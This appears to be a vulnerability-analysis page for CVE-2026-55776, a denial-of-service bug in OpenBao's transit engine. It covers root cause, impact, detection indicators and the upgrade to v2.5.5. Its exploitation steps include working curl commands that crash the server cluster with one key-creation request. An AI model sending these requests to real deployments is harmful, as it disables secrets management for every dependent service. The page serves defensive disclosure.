CVE-2026-55776: 
Wolfi vulnerability analysis and mitigation

CVE-2026-55776 is a denial-of-service vulnerability in the OpenBao transit secrets engine that allows an authenticated attacker with write access to transit/keys/* to crash the entire OpenBao server cluster with a single API request. The flaw affects OpenBao versions >= 0.1.0 through 2.5.4 (inclusive), and was disclosed on June 19, 2026 via a GitHub Security Advisory. It carries a CVSS v3.1 base score of 6.5 (Medium) (GitHub Advisory, OpenBao Advisory).

The root cause is a reachable assertion / panic (CWE-617) triggered by an unlock of an already-unlocked mutex in the transit engine's key-creation code path. When a caller submits a key-creation request combining an asymmetric key type (rsa-*, ecdsa-*, or ed25519) with derived: true, the transit engine's key-derivation logic — which assumes a symmetric key shape — encounters an invalid state (missing derived-key field or invalid type assertion) and panics rather than returning a structured HTTP 400 error, causing the Go process to terminate with exit code 2. The fix, implemented in commit db57c62, corrects the mutex locking logic in keysutil policy creation and introduces GetPolicyExclusive variants to ensure proper lock ordering, preventing the double-unlock on the error path (OpenBao PR #3309, Fix Commit).

Successful exploitation causes the OpenBao server process to terminate immediately (exit code 2) with no HTTP response returned to the client, resulting in complete loss of availability for the vault service. Because OpenBao operates as a cluster, a single malicious request can crash the entire cluster, disrupting all dependent applications that rely on secrets management, authentication, and encryption-as-a-service. There is no confidentiality or integrity impact — the vulnerability is purely an availability issue (GitHub Advisory).

The vulnerability requires only low privileges (write access to transit/keys/*) and no user interaction, making it straightforward to exploit over the network. A working proof-of-concept is publicly documented in the security advisory itself, consisting of two simple curl commands. There is no evidence of in-the-wild exploitation or threat actor attribution at this time, and the CVE status was listed as "Reserved" at time of disclosure. The vulnerability is not currently listed in the CISA KEV catalog, and no EPSS score is publicly available yet (OpenBao Advisory, GitHub Advisory).

1. Obtain credentials: Acquire a valid OpenBao token with write access to the transit/keys/* path (e.g., a token with the transit policy allowing create on transit/keys/*).
2. Mount the transit engine (if not already mounted): Send a POST request to mount the transit secrets engine:

   curl -sS -X POST -H "X-Vault-Token: <token>" \
     -d '{"type":"transit"}' \
     http://<openbao-host>:8200/v1/sys/mounts/transit

3. Trigger the crash: Send a key-creation request combining an asymmetric key type with derived: true:

   curl -sS -w '\nHTTP %{http_code}\n' -X POST \
     -H "X-Vault-Token: <token>" \
     -H "Content-Type: application/json" \
     -d '{"type":"rsa-2048","derived":true,"exportable":true,"deletion_allowed":false}' \
     http://<openbao-host>:8200/v1/transit/keys/some-key-name

4. Observe crash: The server returns no HTTP response (curl: (52) Empty reply from server, HTTP 000), and the OpenBao process exits with code 2, taking down the entire cluster (OpenBao Advisory).

• Network: HTTP POST requests to /v1/transit/keys/<key-name> with a JSON body containing both an asymmetric type field (rsa-*, ecdsa-*, ed25519) and "derived": true; connections to the OpenBao API port (default 8200) that receive no HTTP response (empty reply).
• Logs: OpenBao server logs showing a Go panic or fatal error in the transit engine key-creation path immediately before process termination; audit log entries for transit/keys/* write operations followed by abrupt log termination.
• Process: OpenBao process exiting with code 2 unexpectedly; container status showing Exited (2) for the OpenBao container shortly after a transit key-creation API call.
• Availability: Sudden unavailability of the OpenBao API (all endpoints returning connection refused or empty reply) following a transit key-creation request (OpenBao Advisory).

Upgrade to OpenBao v2.5.5 or later, which contains the fix for this vulnerability (commit db57c62). The patch corrects the mutex locking logic in the transit engine's key-creation path and adds input validation to prevent the panic. No configuration-based workaround is available; the only effective mitigation prior to patching is to strictly restrict write access to transit/keys/* to fully trusted principals only, minimizing the attack surface (OpenBao v2.5.5 Release, OpenBao PR #3309).

The vulnerability was reported by community researcher SahilKumar000 and patched by OpenBao maintainer Alexander Scheel (cipherboy), who authored the fix and published the advisory on June 19, 2026. The fix was backported to the v2.5.x release branch and included in v2.5.5 alongside four other security fixes. The NixOS community promptly updated the OpenBao package to 2.5.5 in response (OpenBao v2.5.5 Release, OpenBao PR #3309).